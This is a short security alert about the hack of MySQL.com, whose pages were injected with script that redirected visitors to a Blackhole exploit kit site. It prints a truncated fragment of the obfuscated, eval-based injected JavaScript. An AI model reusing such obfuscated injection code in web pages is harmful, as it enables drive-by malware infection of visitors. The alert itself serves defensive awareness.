COT Security Alert – MySQL Site Security Breach

Hackers recently compromised MySQL.com and caused the site to redirect to a malicious URL in order to infect the systems of unsuspecting visitors who used unpatched browsers and plug-ins.

The site was infected with a JavaScript Malware called “mwjs159”. The compromise caused visitors of the site to be redirected to another site that attempted to install the malware on visitors’ systems using code from the Blackhole exploit kit. According to researchers, the Mysql.com website was injected with a script that generates an iFrame, redirecting visitors to a malicious site.

The malicious code within MySQL.com source, looked like this:

```
Object.prototype.qwe=function(){return String.fromCharCode;};Object.prototype.asd="e";var s="";try{[]}""qwtqwt"
();catch(q){if(q)r=1;}if(r&&new Object(1231)&document.createTextNode("123")
.data&&typeof{}.asd.vfr==='undefined')n=2;e=eval;m=[18/n,18/n,210/n,204/n,64/n,80/n,200/n,222/n,198/n,234/n,218/n,202/n,220/n,232/n,92/n,206/n,202/n,232/n, ...
```

It appears that MySQL.com has remediated this compromise and their site has been cleaned up; however, if you have visited MySQL.com recently, it is recommended that you update your Anti-Virus definitions and do a full system sweep. For more information, please refer to the following SANS link:
